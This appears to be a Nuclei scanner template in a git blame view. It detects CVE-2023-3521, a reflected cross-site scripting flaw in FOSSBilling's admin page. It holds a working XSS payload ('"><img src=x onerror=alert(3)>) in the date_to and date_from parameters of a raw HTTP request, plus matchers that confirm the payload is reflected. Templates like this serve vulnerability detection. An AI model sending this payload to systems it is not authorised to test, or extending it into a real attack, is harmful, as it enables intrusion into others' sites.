2024-08-15 12:08:06 +00:00
|
|
|
id: CVE-2023-3521
|
|
|
|
|
|
|
|
|
|
info:
|
2024-08-16 15:22:00 +00:00
|
|
|
name: FOSSBilling < 0.5.3 - Cross-Site Scripting
|
2024-08-15 12:08:06 +00:00
|
|
|
author: ctflearner
|
|
|
|
|
severity: medium
|
|
|
|
|
description: |
|
|
|
|
|
Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
|
|
|
|
|
reference:
|
|
|
|
|
- https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
|
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-3521
|
|
|
|
|
classification:
|
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
|
cvss-score: 6.1
|
|
|
|
|
cve-id: CVE-2023-3521
|
|
|
|
|
cwe-id: CWE-79
|
|
|
|
|
metadata:
|
|
|
|
|
verified: true
|
|
|
|
|
max-request: 1
|
2024-08-16 06:21:51 +00:00
|
|
|
fofa-query: title="FOSSBilling"
|
2024-08-16 15:16:07 +00:00
|
|
|
product: fossbilling
|
2024-08-16 06:21:51 +00:00
|
|
|
tags: cve2023,cve,fossbilling,xss
|
2024-08-15 12:08:06 +00:00
|
|
|
|
|
|
|
|
http:
|
2024-08-16 06:21:51 +00:00
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
2024-08-15 12:08:06 +00:00
|
|
|
|
2024-08-16 06:21:51 +00:00
|
|
|
matchers-condition: and
|
2024-08-15 12:08:06 +00:00
|
|
|
matchers:
|
|
|
|
|
- type: word
|
|
|
|
|
part: body
|
|
|
|
|
words:
|
2024-08-16 06:21:51 +00:00
|
|
|
- "<img src=x onerror=alert(3)>"
|
|
|
|
|
- "FOSSBilling"
|
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
part: header
|
|
|
|
|
words:
|
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|
2024-08-17 02:30:35 +00:00
|
|
|
# digest: 4a0a0047304502206c73795fffdb094d29736790fcfe5756e0839e97076127de6de68b60552a3164022100b0d853a354adcaa815f045696bc8349e3592638030f0fe1f347005071aea7cca:922c64590222798bb761d5b6d8e72950
|
